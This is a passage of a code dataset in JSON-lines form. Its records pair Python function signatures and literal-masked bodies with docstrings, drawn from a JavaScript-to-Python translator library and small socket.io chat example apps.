execute_fragment_under_context returns:\n            # (return_value, typ, return_value/jump_loc/py_error)\n            # IMPARTANT: It is guaranteed that the length of the ctx.stack is unchanged.", "id": "f11703:c0:m5"}
{"signature": "def to_key(literal_or_identifier):", "body": "if literal_or_identifier['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return literal_or_identifier['<STR_LIT:name>']<EOL><DEDENT>elif literal_or_identifier['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>k = literal_or_identifier['<STR_LIT:value>']<EOL>if isinstance(k, float):<EOL><INDENT>return unicode(float_repr(k))<EOL><DEDENT>elif '<STR_LIT>' in literal_or_identifier:<EOL><INDENT>return compose_regex(k)<EOL><DEDENT>elif isinstance(k, bool):<EOL><INDENT>return u'<STR_LIT:true>' if k else u'<STR_LIT:false>'<EOL><DEDENT>elif k is None:<EOL><INDENT>return u'<STR_LIT:null>'<EOL><DEDENT>else:<EOL><INDENT>return unicode(k)<EOL><DEDENT><DEDENT>", "docstring": "returns string representation of this object", "id": "f11704:m0"}
{"signature": "def to_arr(this):", "body": "return [this.get(str(e)) for e in xrange(len(this))]<EOL>", "docstring": "Returns Python array from Js array", "id": "f11706:m0"}
{"signature": "def to_arr(this):", "body": "return [this.get(str(e)) for e in xrange(len(this))]<EOL>", "docstring": "Returns Python array from Js array", "id": "f11707:m0"}
{"signature": "def to_arr(this):", "body": "return [this.get(str(e)) for e in xrange(len(this))]<EOL>", "docstring": "Returns Python array from Js array", "id": "f11710:m0"}
{"signature": "def replacement_template(rep, source, span, npar):", "body": "n = <NUM_LIT:0><EOL>res = '<STR_LIT>'<EOL>while n < len(rep) - <NUM_LIT:1>:<EOL><INDENT>char = rep[n]<EOL>if char == '<STR_LIT:$>':<EOL><INDENT>if rep[n + <NUM_LIT:1>] == '<STR_LIT:$>':<EOL><INDENT>res += '<STR_LIT:$>'<EOL>n += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif rep[n + <NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>res += source[:span[<NUM_LIT:0>]]<EOL>n += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif rep[n + <NUM_LIT:1>] == '<STR_LIT>':<EOL><INDENT>res += source[span[<NUM_LIT:1>]:]<EOL>n += <NUM_LIT:2><EOL>continue<EOL><DEDENT>elif rep[n + <NUM_LIT:1>] in DIGS:<EOL><INDENT>dig = rep[n + <NUM_LIT:1>]<EOL>if n + <NUM_LIT:2> < len(rep) and rep[n + <NUM_LIT:2>] in DIGS:<EOL><INDENT>dig += rep[n + <NUM_LIT:2>]<EOL><DEDENT>num = int(dig)<EOL>if not num or num > len(npar):<EOL><INDENT>res += '<STR_LIT:$>' + dig<EOL><DEDENT>else:<EOL><INDENT>res += npar[num - <NUM_LIT:1>] if npar[num - <NUM_LIT:1>] else '<STR_LIT>'<EOL><DEDENT>n += <NUM_LIT:1> + len(dig)<EOL>continue<EOL><DEDENT><DEDENT>res += char<EOL>n += <NUM_LIT:1><EOL><DEDENT>if n < len(rep):<EOL><INDENT>res += rep[-<NUM_LIT:1>]<EOL><DEDENT>return res<EOL>", "docstring": "Takes the replacement template and some info about the match and returns filled template", "id": "f11716:m0"}
{"signature": "def MakeError(name, message):", "body": "return JsToPyException(ERRORS[name](Js(message)))<EOL>", "docstring": "Returns PyJsException with PyJsError inside", "id": "f11719:m1"}
{"signature": "def Js(val, Clamped=False):", "body": "if isinstance(val, PyJs):<EOL><INDENT>return val<EOL><DEDENT>elif val is None:<EOL><INDENT>return undefined<EOL><DEDENT>elif isinstance(val, basestring):<EOL><INDENT>return PyJsString(val, StringPrototype)<EOL><DEDENT>elif isinstance(val, bool):<EOL><INDENT>return true if val else false<EOL><DEDENT>elif isinstance(val, float) or isinstance(val, int) or isinstance(<EOL>val, long) or (NUMPY_AVAILABLE and isinstance(<EOL>val,<EOL>(numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,<EOL>numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):<EOL><INDENT>if val in NUM_BANK:<EOL><INDENT>return NUM_BANK[val]<EOL><DEDENT>return PyJsNumber(float(val), NumberPrototype)<EOL><DEDENT>elif isinstance(val, FunctionType):<EOL><INDENT>return PyJsFunction(val, FunctionPrototype)<EOL><DEDENT>elif isinstance(val, dict):  <EOL><INDENT>temp = PyJsObject({}, ObjectPrototype)<EOL>for k, v in six.iteritems(val):<EOL><INDENT>temp.put(Js(k), Js(v))<EOL><DEDENT>return temp<EOL><DEDENT>elif isinstance(val, (list, tuple)):  <EOL><INDENT>return PyJsArray(val, ArrayPrototype)<EOL><DEDENT>elif isinstance(val, JsObjectWrapper):<EOL><INDENT>return val.__dict__['<STR_LIT>']<EOL><DEDENT>elif NUMPY_AVAILABLE and isinstance(val, numpy.ndarray):<EOL><INDENT>if val.dtype == numpy.int8:<EOL><INDENT>return PyJsInt8Array(val, Int8ArrayPrototype)<EOL><DEDENT>elif val.dtype == numpy.uint8 and not Clamped:<EOL><INDENT>return PyJsUint8Array(val, Uint8ArrayPrototype)<EOL><DEDENT>elif val.dtype == numpy.uint8 and Clamped:<EOL><INDENT>return PyJsUint8ClampedArray(val, Uint8ClampedArrayPrototype)<EOL><DEDENT>elif val.dtype == numpy.int16:<EOL><INDENT>return PyJsInt16Array(val, Int16ArrayPrototype)<EOL><DEDENT>elif val.dtype == numpy.uint16:<EOL><INDENT>return PyJsUint16Array(val, Uint16ArrayPrototype)<EOL><DEDENT>elif val.dtype == numpy.int32:<EOL><INDENT>return PyJsInt32Array(val, Int32ArrayPrototype)<EOL><DEDENT>elif val.dtype == numpy.uint32:<EOL><INDENT>return PyJsUint16Array(val, Uint32ArrayPrototype)<EOL><DEDENT>elif val.dtype == numpy.float32:<EOL><INDENT>return PyJsFloat32Array(val, Float32ArrayPrototype)<EOL><DEDENT>elif val.dtype == numpy.float64:<EOL><INDENT>return PyJsFloat64Array(val, Float64ArrayPrototype)<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>return py_wrap(val)<EOL><DEDENT>", "docstring": "Converts Py type to PyJs type", "id": "f11719:m6"}
{"signature": "def PyJsStrictEq(a, b):", "body": "tx, ty = Type(a), Type(b)<EOL>if tx != ty:<EOL><INDENT>return false<EOL><DEDENT>if tx == '<STR_LIT>' or tx == '<STR_LIT>':<EOL><INDENT>return true<EOL><DEDENT>if a.is_primitive():  <EOL><INDENT>return Js(a.value == b.value)<EOL><DEDENT>if a.Class == b.Class == '<STR_LIT>':<EOL><INDENT>return Js(a.obj == b.obj)<EOL><DEDENT>return Js(a is b)<EOL>", "docstring": "a===b", "id": "f11719:m11"}
{"signature": "def PyJsStrictNeq(a, b):", "body": "return PyJsStrictEq(a, b).neg()<EOL>", "docstring": "a!==b", "id": "f11719:m12"}
{"signature": "def PyJsBshift(a, b):", "body": "return a.pyjs_bshift(b)<EOL>", "docstring": "a>>>b", "id": "f11719:m13"}
{"signature": "def __init__(self, value=None, prototype=None, extensible=False):", "body": "<EOL>self.value = value<EOL>self.extensible = extensible<EOL>self.prototype = prototype<EOL>self.own = {}<EOL>self.buff = None<EOL>", "docstring": "Constructor for Number String and Boolean", "id": "f11719:c0:m0"}
{"signature": "def put(self, prop, val, op=None):  ", "body": "if self.Class == '<STR_LIT>' or self.Class == '<STR_LIT>':<EOL><INDENT>raise MakeError('<STR_LIT>',<EOL>'<STR_LIT>')<EOL><DEDENT>if not isinstance(prop, basestring):<EOL><INDENT>prop = prop.to_string().value<EOL><DEDENT>if NUMPY_AVAILABLE and prop.isdigit():<EOL><INDENT>if self.Class == '<STR_LIT>':<EOL><INDENT>val = Js(numpy.int8(val.to_number().value))<EOL><DEDENT>elif self.Class == '<STR_LIT>':<EOL><INDENT>val = Js(numpy.uint8(val.to_number().value))<EOL><DEDENT>elif self.Class == '<STR_LIT>':<EOL><INDENT>if val < Js(numpy.uint8(<NUM_LIT:0>)):<EOL><INDENT>val = Js(numpy.uint8(<NUM_LIT:0>))<EOL><DEDENT>elif val > Js(numpy.uint8(<NUM_LIT:255>)):<EOL><INDENT>val = Js(numpy.uint8(<NUM_LIT:255>))<EOL><DEDENT>else:<EOL><INDENT>val = Js(numpy.uint8(val.to_number().value))<EOL><DEDENT><DEDENT>elif self.Class == '<STR_LIT>':<EOL><INDENT>val = Js(numpy.int16(val.to_number().value))<EOL><DEDENT>elif self.Class == '<STR_LIT>':<EOL><INDENT>val = Js(numpy.uint16(val.to_number().value))<EOL><DEDENT>elif self.Class == '<STR_LIT>':<EOL><INDENT>val = Js(numpy.int32(val.to_number().value))<EOL><DEDENT>elif self.Class == '<STR_LIT>':<EOL><INDENT>val = Js(numpy.uint32(val.to_number().value))<EOL><DEDENT>elif self.Class == '<STR_LIT>':<EOL><INDENT>val = Js(numpy.float32(val.to_number().value))<EOL><DEDENT>elif self.Class == '<STR_LIT>':<EOL><INDENT>val = Js(numpy.float64(val.to_number().value))<EOL><DEDENT>if isinstance(self.buff, numpy.ndarray):<EOL><INDENT>self.buff[int(prop)] = int(val.to_number().value)<EOL><DEDENT><DEDENT>if op is not None:<EOL><INDENT>val = getattr(self.get(prop), OP_METHODS[op])(val)<EOL><DEDENT>if not self.can_put(prop):<EOL><INDENT>return val<EOL><DEDENT>own_desc = self.get_own_property(prop)<EOL>if is_data_descriptor(own_desc):<EOL><INDENT>if self.Class in [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'<EOL>]:<EOL><INDENT>self.define_own_property(prop, {'<STR_LIT:value>': val})<EOL><DEDENT>else:<EOL><INDENT>self.own[prop]['<STR_LIT:value>'] = val<EOL><DEDENT>return val<EOL><DEDENT>desc = self.get_property(prop)<EOL>if is_accessor_descriptor(desc):<EOL><INDENT>desc['<STR_LIT>'].call(self, (val, ))<EOL><DEDENT>else:<EOL><INDENT>new = {<EOL>'<STR_LIT:value>': val,<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': True<EOL>}<EOL>if self.Class in [<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>'<EOL>]:<EOL><INDENT>self.define_own_property(prop, new)<EOL><DEDENT>else:<EOL><INDENT>self.own[prop] = new<EOL><DEDENT><DEDENT>return val<EOL>", "docstring": "Just like in js: self.prop op= val\n           for example when op is '+' it will be self.prop+=val\n           op can be either None for simple assignment or one of:\n           * / % + - << >> & ^ |", "id": "f11719:c0:m12"}
{"signature": "def cok(self):", "body": "if self.Class in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>raise MakeError('<STR_LIT>',<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Check object coercible", "id": "f11719:c0:m27"}
{"signature": "def abstract_relational_comparison(self, other, self_first=True):", "body": "px = self.to_primitive('<STR_LIT>')<EOL>py = other.to_primitive('<STR_LIT>')<EOL>if not self_first:  <EOL><INDENT>px, py = py, px<EOL><DEDENT>if not (px.Class == '<STR_LIT>' and py.Class == '<STR_LIT>'):<EOL><INDENT>px, py = px.to_number(), py.to_number()<EOL>if px.is_nan() or py.is_nan():<EOL><INDENT>return undefined<EOL><DEDENT>return Js(px.value < py.value)  <EOL><DEDENT>else:<EOL><INDENT>return Js(px.value < py.value)<EOL><DEDENT>", "docstring": "self<other if self_first else other<self.\n           Returns the result of the question: is self smaller than other?\n           in case self_first is false it returns the answer of:\n                                               is other smaller than self.\n           result is PyJs type: bool or undefined", "id": "f11719:c0:m54"}
{"signature": "def abstract_equality_comparison(self, other):", "body": "tx, ty = self.TYPE, other.TYPE<EOL>if tx == ty:<EOL><INDENT>if tx == '<STR_LIT>' or tx == '<STR_LIT>':<EOL><INDENT>return true<EOL><DEDENT>if tx == '<STR_LIT>' or tx == '<STR_LIT>' or tx == '<STR_LIT>':<EOL><INDENT>return Js(self.value == other.value)<EOL><DEDENT>return Js(self is other)  <EOL><DEDENT>elif (tx == '<STR_LIT>' and ty == '<STR_LIT>') or (ty == '<STR_LIT>'<EOL>and tx == '<STR_LIT>'):<EOL><INDENT>return true<EOL><DEDENT>elif tx == '<STR_LIT>' and ty == '<STR_LIT>':<EOL><INDENT>return self.abstract_equality_comparison(other.to_number())<EOL><DEDENT>elif tx == '<STR_LIT>' and ty == '<STR_LIT>':<EOL><INDENT>return self.to_number().abstract_equality_comparison(other)<EOL><DEDENT>elif tx == '<STR_LIT>':<EOL><INDENT>return self.to_number().abstract_equality_comparison(other)<EOL><DEDENT>elif ty == '<STR_LIT>':<EOL><INDENT>return self.abstract_equality_comparison(other.to_number())<EOL><DEDENT>elif (tx == '<STR_LIT>' or tx == '<STR_LIT>') and other.is_object():<EOL><INDENT>return self.abstract_equality_comparison(other.to_primitive())<EOL><DEDENT>elif (ty == '<STR_LIT>' or ty == '<STR_LIT>') and self.is_object():<EOL><INDENT>return self.to_primitive().abstract_equality_comparison(other)<EOL><DEDENT>else:<EOL><INDENT>return false<EOL><DEDENT>", "docstring": "returns the result of JS == compare.\n           result is PyJs type: bool", "id": "f11719:c0:m59"}
{"signature": "def instanceof(self, other):", "body": "if not hasattr(other, '<STR_LIT>'):<EOL><INDENT>return false<EOL><DEDENT>return other.has_instance(self)<EOL>", "docstring": "checks if self is instance of other", "id": "f11719:c0:m62"}
{"signature": "def __call__(self, *args):", "body": "if not self.is_callable():<EOL><INDENT>raise MakeError('<STR_LIT>',<EOL>'<STR_LIT>' % self.typeof())<EOL><DEDENT>return self.call(self.GlobalObject, args)<EOL>", "docstring": "Call a property prop as a function (this will be global object).\n\n        NOTE: dont pass this and arguments here, these will be added\n        automatically!", "id": "f11719:c0:m65"}
{"signature": "def create(self, *args):", "body": "raise MakeError('<STR_LIT>', '<STR_LIT>' % self.Class)<EOL>", "docstring": "Generally not a constructor, raise an error", "id": "f11719:c0:m66"}
{"signature": "def callprop(self, prop, *args):", "body": "if not isinstance(prop, basestring):<EOL><INDENT>prop = prop.to_string().value<EOL><DEDENT>cand = self.get(prop)<EOL>if not cand.is_callable():<EOL><INDENT>raise MakeError('<STR_LIT>',<EOL>'<STR_LIT>' % cand.typeof())<EOL><DEDENT>return cand.call(self, args)<EOL>", "docstring": "Call a property prop as a method (this will be self).\n\n        NOTE: dont pass this and arguments here, these will be added\n        automatically!", "id": "f11719:c0:m70"}
{"signature": "def to_python(self):", "body": "return to_python(self)<EOL>", "docstring": "returns equivalent python object.\n         for example if this object is javascript array then this method will return equivalent python array", "id": "f11719:c0:m71"}
{"signature": "def to_py(self):", "body": "return self.to_python()<EOL>", "docstring": "returns equivalent python object.\n         for example if this object is javascript array then this method will return equivalent python array", "id": "f11719:c0:m72"}
{"signature": "def __init__(self, scope, closure=None):", "body": "self.prototype = closure<EOL>if closure is None:<EOL><INDENT>self.own = {}<EOL>for k, v in six.iteritems(scope):<EOL><INDENT>self.define_own_property(<EOL>k, {<EOL>'<STR_LIT:value>': v,<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': False<EOL>})<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.own = scope<EOL><DEDENT>", "docstring": "Doc", "id": "f11719:c2:m0"}
{"signature": "def registers(self, lvals):", "body": "for lval in lvals:<EOL><INDENT>self.register(lval)<EOL><DEDENT>", "docstring": "register multiple variables", "id": "f11719:c2:m2"}
{"signature": "def _set_name(self, name):", "body": "if self.own.get('<STR_LIT:name>'):<EOL><INDENT>self.func_name = name<EOL>self.own['<STR_LIT:name>']['<STR_LIT:value>'] = Js(name)<EOL><DEDENT>", "docstring": "name is py type", "id": "f11719:c7:m1"}
{"signature": "def call(self, this, args=()):", "body": "if not hasattr(args, '<STR_LIT>'):  <EOL><INDENT>args = (args, )<EOL><DEDENT>args = tuple(Js(e) for e in args)  <EOL>arguments = PyJsArguments(<EOL>args, self)  <EOL>arglen = self.argcount  <EOL>if len(args) > arglen:<EOL><INDENT>args = args[<NUM_LIT:0>:arglen]<EOL><DEDENT>elif len(args) < arglen:<EOL><INDENT>args += (undefined, ) * (arglen - len(args))<EOL><DEDENT>args += this, arguments  <EOL>try:<EOL><INDENT>return Js(self.code(*args))<EOL><DEDENT>except NotImplementedError:<EOL><INDENT>raise<EOL><DEDENT>except RuntimeError as e:  <EOL><INDENT>raise MakeError(<EOL>'<STR_LIT>', e.message if<EOL>not isinstance(e, NotImplementedError) else '<STR_LIT>')<EOL><DEDENT>", "docstring": "Calls this function and returns a result\n        (converted to PyJs type so func can return python types)\n\n        this must be a PyJs object and args must be a python tuple of PyJs objects.\n\n        arguments object is passed automatically and will be equal to Js(args)\n        (tuple converted to arguments object).You dont need to worry about number\n        of arguments you provide if you supply less then missing ones will be set\n        to undefined (but not present in arguments object).\n        And if you supply too much then excess will not be passed\n        (but they will be present in arguments object).", "id": "f11719:c7:m3"}
{"signature": "def __init__(self, value=None, prototype=None):", "body": "if not isinstance(value, basestring):<EOL><INDENT>raise TypeError  <EOL><DEDENT>self.value = value<EOL>self.prototype = prototype<EOL>self.own = {}<EOL>self.own['<STR_LIT>'] = {<EOL>'<STR_LIT:value>': Js(len(value)),<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': False,<EOL>'<STR_LIT>': False<EOL>}<EOL>if len(value) == <NUM_LIT:1>:<EOL><INDENT>CHAR_BANK[value] = self<EOL><DEDENT>", "docstring": "Constructor for Number String and Boolean", "id": "f11719:c10:m0"}
{"signature": "def match(self, string, pos):", "body": "return self.pat.match(string, pos)<EOL>", "docstring": "string is of course py string", "id": "f11719:c26:m1"}
{"signature": "def fix_js_args(func):", "body": "fcode = six.get_function_code(func)<EOL>fargs = fcode.co_varnames[fcode.co_argcount - <NUM_LIT:2>:fcode.co_argcount]<EOL>if fargs == ('<STR_LIT>', '<STR_LIT>') or fargs == ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return func<EOL><DEDENT>code = append_arguments(six.get_function_code(func), ('<STR_LIT>', '<STR_LIT>'))<EOL>return types.FunctionType(<EOL>code,<EOL>six.get_function_globals(func),<EOL>func.__name__,<EOL>closure=six.get_function_closure(func))<EOL>", "docstring": "Use this function when unsure whether func takes this and arguments as its last 2 args.\n       It will append 2 args if it does not.", "id": "f11720:m0"}
{"signature": "def dbg(x):", "body": "return '<STR_LIT>'<EOL>", "docstring": "does nothing, legacy dummy function", "id": "f11745:m0"}
{"signature": "def translate_js(js, HEADER=DEFAULT_HEADER, use_compilation_plan=False):", "body": "if use_compilation_plan and not '<STR_LIT>' in js and not '<STR_LIT>' in js:<EOL><INDENT>return translate_js_with_compilation_plan(js, HEADER=HEADER)<EOL><DEDENT>parser = pyjsparser.PyJsParser()<EOL>parsed = parser.parse(js)  <EOL>translating_nodes.clean_stacks()<EOL>return HEADER + translating_nodes.trans(<EOL>parsed)<EOL>", "docstring": "js has to be a javascript source code.\n       returns equivalent python code.", "id": "f11745:m1"}
{"signature": "def translate_js_with_compilation_plan(js, HEADER=DEFAULT_HEADER):", "body": "match_increaser_str, match_increaser_num, compilation_plan = get_compilation_plan(<EOL>js)<EOL>cp_hash = hashlib.md5(compilation_plan.encode('<STR_LIT:utf-8>')).digest()<EOL>try:<EOL><INDENT>python_code = cache[cp_hash]['<STR_LIT>']<EOL><DEDENT>except:<EOL><INDENT>parser = pyjsparser.PyJsParser()<EOL>parsed = parser.parse(compilation_plan)  <EOL>translating_nodes.clean_stacks()<EOL>python_code = translating_nodes.trans(<EOL>parsed)  <EOL>cache[cp_hash] = {<EOL>'<STR_LIT>': compilation_plan,<EOL>'<STR_LIT>': python_code,<EOL>}<EOL><DEDENT>python_code = match_increaser_str.wrap_up(python_code)<EOL>python_code = match_increaser_num.wrap_up(python_code)<EOL>return HEADER + python_code<EOL>", "docstring": "js has to be a javascript source code.\n       returns equivalent python code.\n\n       compile plans only work with the following restrictions:\n       - only enabled for oneliner expressions\n       - when there are comments in the js code string substitution is disabled\n       - when there nested escaped quotes string substitution is disabled, so\n\n       cacheable:\n       Q1 == 1 && name == 'harry'\n\n       not cacheable:\n       Q1 == 1 && name == 'harry' // some comment\n\n       not cacheable:\n       Q1 == 1 && name == 'o\\'Reilly'\n\n       not cacheable:\n       Q1 == 1 && name /* some comment */ == 'o\\'Reilly'", "id": "f11745:m3"}
{"signature": "def trasnlate(js, HEADER=DEFAULT_HEADER):", "body": "return translate_js(js, HEADER)<EOL>", "docstring": "js has to be a javascript source code.\n       returns equivalent python code.\n\n       Equivalent to translate_js", "id": "f11745:m4"}
{"signature": "def to_key(literal_or_identifier):", "body": "if literal_or_identifier['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>return literal_or_identifier['<STR_LIT:name>']<EOL><DEDENT>elif literal_or_identifier['<STR_LIT:type>'] == '<STR_LIT>':<EOL><INDENT>k = literal_or_identifier['<STR_LIT:value>']<EOL>if isinstance(k, float):<EOL><INDENT>return unicode(float_repr(k))<EOL><DEDENT>elif '<STR_LIT>' in literal_or_identifier:<EOL><INDENT>return compose_regex(k)<EOL><DEDENT>elif isinstance(k, bool):<EOL><INDENT>return '<STR_LIT:true>' if k else '<STR_LIT:false>'<EOL><DEDENT>elif k is None:<EOL><INDENT>return '<STR_LIT:null>'<EOL><DEDENT>else:<EOL><INDENT>return unicode(k)<EOL><DEDENT><DEDENT>", "docstring": "returns string representation of this object", "id": "f11746:m1"}
{"signature": "def trans(ele, standard=False):", "body": "try:<EOL><INDENT>node = globals().get(ele['<STR_LIT:type>'])<EOL>if not node:<EOL><INDENT>raise NotImplementedError('<STR_LIT>' % ele['<STR_LIT:type>'])<EOL><DEDENT>if standard:<EOL><INDENT>node = node.__dict__[<EOL>'<STR_LIT>'] if '<STR_LIT>' in node.__dict__ else node<EOL><DEDENT>return node(**ele)<EOL><DEDENT>except:<EOL><INDENT>raise<EOL><DEDENT>", "docstring": "Translates esprima syntax tree to python by delegating to appropriate translating node", "id": "f11746:m2"}
{"signature": "def limited(func):", "body": "def f(standard=False, **args):<EOL><INDENT>insert_pos = len(<EOL>inline_stack.names<EOL>)  <EOL>res = func(**args)<EOL>if len(res) > LINE_LEN_LIMIT:<EOL><INDENT>name = inline_stack.require('<STR_LIT>')<EOL>inline_stack.names.pop()<EOL>inline_stack.names.insert(insert_pos, name)<EOL>res = '<STR_LIT>' % (name, res)<EOL>inline_stack.define(name, res)<EOL>return name + '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>return res<EOL><DEDENT><DEDENT>f.__dict__['<STR_LIT>'] = func<EOL>return f<EOL>", "docstring": "Decorator limiting resulting line length in order to avoid python parser stack overflow -\n      If expression longer than LINE_LEN_LIMIT characters then it will be moved to upper line\n     USE ONLY ON EXPRESSIONS!!!", "id": "f11746:m3"}
{"signature": "def parse(javascript_code):", "body": "p = PyJsParser()<EOL>return p.parse(javascript_code)<EOL>", "docstring": "Returns syntax tree of javascript_code.\n\n    Syntax tree has the same structure as syntax tree produced by esprima.js\n\n       Same as PyJsParser().parse  For your convenience :)", "id": "f11747:m0"}
{"signature": "def parsePattern(self):", "body": "return {'<STR_LIT:type>': '<STR_LIT>', '<STR_LIT>': self.parseDisjunction()}<EOL>", "docstring": "Perform sctring escape - for regexp literals", "id": "f11748:c0:m1"}
{"signature": "def argsplit(args, sep='<STR_LIT:U+002C>'):", "body": "parsed_len = <NUM_LIT:0><EOL>last = <NUM_LIT:0><EOL>splits = []<EOL>for e in bracket_split(args, brackets=['<STR_LIT>', '<STR_LIT>', '<STR_LIT:{}>']):<EOL><INDENT>if e[<NUM_LIT:0>] not in ('<STR_LIT:(>', '<STR_LIT:[>', '<STR_LIT:{>'):<EOL><INDENT>for i, char in enumerate(e):<EOL><INDENT>if char == sep:<EOL><INDENT>splits.append(args[last:parsed_len + i])<EOL>last = parsed_len + i + <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>parsed_len += len(e)<EOL><DEDENT>splits.append(args[last:])<EOL>return splits<EOL>", "docstring": "used to split JS args (it is not that simple as it seems because\n       sep can be inside brackets).\n\n       pass args *without* brackets!\n\n       Used also to parse array and object elements, and more", "id": "f11749:m9"}
{"signature": "def bracket_split(source, brackets=('<STR_LIT>', '<STR_LIT:{}>', '<STR_LIT>'), strip=False):", "body": "starts = [e[<NUM_LIT:0>] for e in brackets]<EOL>in_bracket = <NUM_LIT:0><EOL>n = <NUM_LIT:0><EOL>last = <NUM_LIT:0><EOL>while n < len(source):<EOL><INDENT>e = source[n]<EOL>if not in_bracket and e in starts:<EOL><INDENT>in_bracket = <NUM_LIT:1><EOL>start = n<EOL>b_start, b_end = brackets[starts.index(e)]<EOL><DEDENT>elif in_bracket:<EOL><INDENT>if e == b_start:<EOL><INDENT>in_bracket += <NUM_LIT:1><EOL><DEDENT>elif e == b_end:<EOL><INDENT>in_bracket -= <NUM_LIT:1><EOL>if not in_bracket:<EOL><INDENT>if source[last:start]:<EOL><INDENT>yield source[last:start]<EOL><DEDENT>last = n + <NUM_LIT:1><EOL>yield source[start + strip:n + <NUM_LIT:1> - strip]<EOL><DEDENT><DEDENT><DEDENT>n += <NUM_LIT:1><EOL><DEDENT>if source[last:]:<EOL><INDENT>yield source[last:]<EOL><DEDENT>", "docstring": "DOES NOT RETURN EMPTY STRINGS (can only return empty bracket content if strip=True)", "id": "f11749:m10"}
{"signature": "def index(request):", "body": "return {}<EOL>", "docstring": "Base view to load our template", "id": "f11763:m0"}
{"signature": "@view_config(route_name='<STR_LIT>')<EOL>def socketio_service(request):", "body": "socketio_manage(request.environ, namespaces=nsmap, request=request)<EOL>return {}<EOL>", "docstring": "The view that will launch the socketio listener", "id": "f11763:m1"}
{"signature": "def cpu_checker_process(self):", "body": "ret = os.system(\"<STR_LIT>\")<EOL>self.emit(\"<STR_LIT>\", ret)<EOL>", "docstring": "This will be a greenlet", "id": "f11763:c0:m4"}
{"signature": "def simple_route(config, name, url, fn):", "body": "config.add_route(name, url)<EOL>config.add_view(fn, route_name=name,<EOL>renderer=\"<STR_LIT>\" % name)<EOL>", "docstring": "Function to simplify creating routes in pyramid \n        Takes the pyramid configuration, name of the route, url, and view\n        function", "id": "f11764:m0"}
{"signature": "def includeme(config):", "body": "config.scan('<STR_LIT>')<EOL>", "docstring": "Pyramid configuration", "id": "f11765:m0"}
{"signature": "def index(request):", "body": "return {}<EOL>", "docstring": "Base view to load our template", "id": "f11770:m0"}
{"signature": "def join(self, room):", "body": "self.socket.rooms.add(self._get_room_name(room))<EOL>", "docstring": "Lets a user join a room on a specific Namespace.", "id": "f11770:c0:m1"}
{"signature": "def leave(self, room):", "body": "self.socket.rooms.remove(self._get_room_name(room))<EOL>", "docstring": "Lets a user leave a room on a specific Namespace.", "id": "f11770:c0:m2"}
{"signature": "def emit_to_room(self, event, args, room):", "body": "pkt = dict(type=\"<STR_LIT>\",<EOL>name=event,<EOL>args=args,<EOL>endpoint=self.ns_name)<EOL>room_name = self._get_room_name(room)<EOL>for sessid, socket in self.socket.server.sockets.iteritems():<EOL><INDENT>if not hasattr(socket, '<STR_LIT>'):<EOL><INDENT>continue<EOL><DEDENT>if room_name in socket.rooms:<EOL><INDENT>socket.send_packet(pkt)<EOL><DEDENT><DEDENT>", "docstring": "This is sent to all in the room (in this particular Namespace)", "id": "f11770:c0:m4"}
{"signature": "def simple_route(config, name, url, fn):", "body": "config.add_route(name, url)<EOL>config.add_view(fn, route_name=name,<EOL>renderer=\"<STR_LIT>\" % name)<EOL>", "docstring": "Function to simplify creating routes in pyramid\nTakes the pyramid configuration, name of the route, url, and view\nfunction.", "id": "f11771:m0"}
{"signature": "def includeme(config):", "body": "config.scan('<STR_LIT>')<EOL>", "docstring": "Pyramid configuration", "id": "f11772:m0"}
{"signature": "def index(request):", "body": "return {}<EOL>", "docstring": "Base view to load our template", "id": "f11781:m0"}
{"signature": "def index(request):", "body": "return {}<EOL>", "docstring": "Base view to load our template", "id": "f11788:m0"}
{"signature": "def rooms(request, template=\"<STR_LIT>\"):", "body": "context = {\"<STR_LIT>\": ChatRoom.objects.all()}<EOL>return render(request, template, context)<EOL>", "docstring": "Homepage - lists all rooms.", "id": "f11797:m0"}
{"signature": "def room(request, slug, template=\"<STR_LIT>\"):", "body": "context = {\"<STR_LIT>\": get_object_or_404(ChatRoom, slug=slug)}<EOL>return render(request, template, context)<EOL>", "docstring": "Show a room.", "id": "f11797:m1"}
{"signature": "def create(request):", "body": "name = request.POST.get(\"<STR_LIT:name>\")<EOL>if name:<EOL><INDENT>room, created = ChatRoom.objects.get_or_create(name=name)<EOL>return redirect(room)<EOL><DEDENT>return redirect(rooms)<EOL>", "docstring": "Handles post from the \"Add room\" form on the homepage, and\nredirects to the new room.", "id": "f11797:m2"}
{"signature": "def get_handler(self, *args, **options):", "body": "handler = WSGIHandler()<EOL>try:<EOL><INDENT>from django.contrib.staticfiles.handlers import StaticFilesHandler<EOL><DEDENT>except ImportError:<EOL><INDENT>return handler<EOL><DEDENT>use_static_handler = options.get('<STR_LIT>', True)<EOL>insecure_serving = options.get('<STR_LIT>', False)<EOL>if (settings.DEBUG and use_static_handler or<EOL>(use_static_handler and insecure_serving)):<EOL><INDENT>handler = StaticFilesHandler(handler)<EOL><DEDENT>return handler<EOL>", "docstring": "Returns the django.contrib.staticfiles handler.", "id": "f11799:c0:m1"}
{"signature": "@app.route('<STR_LIT:/>')<EOL>def rooms():", "body": "context = {\"<STR_LIT>\": ChatRoom.query.all()}<EOL>return render_template('<STR_LIT>', **context)<EOL>", "docstring": "Homepage - lists all rooms.", "id": "f11804:m4"}
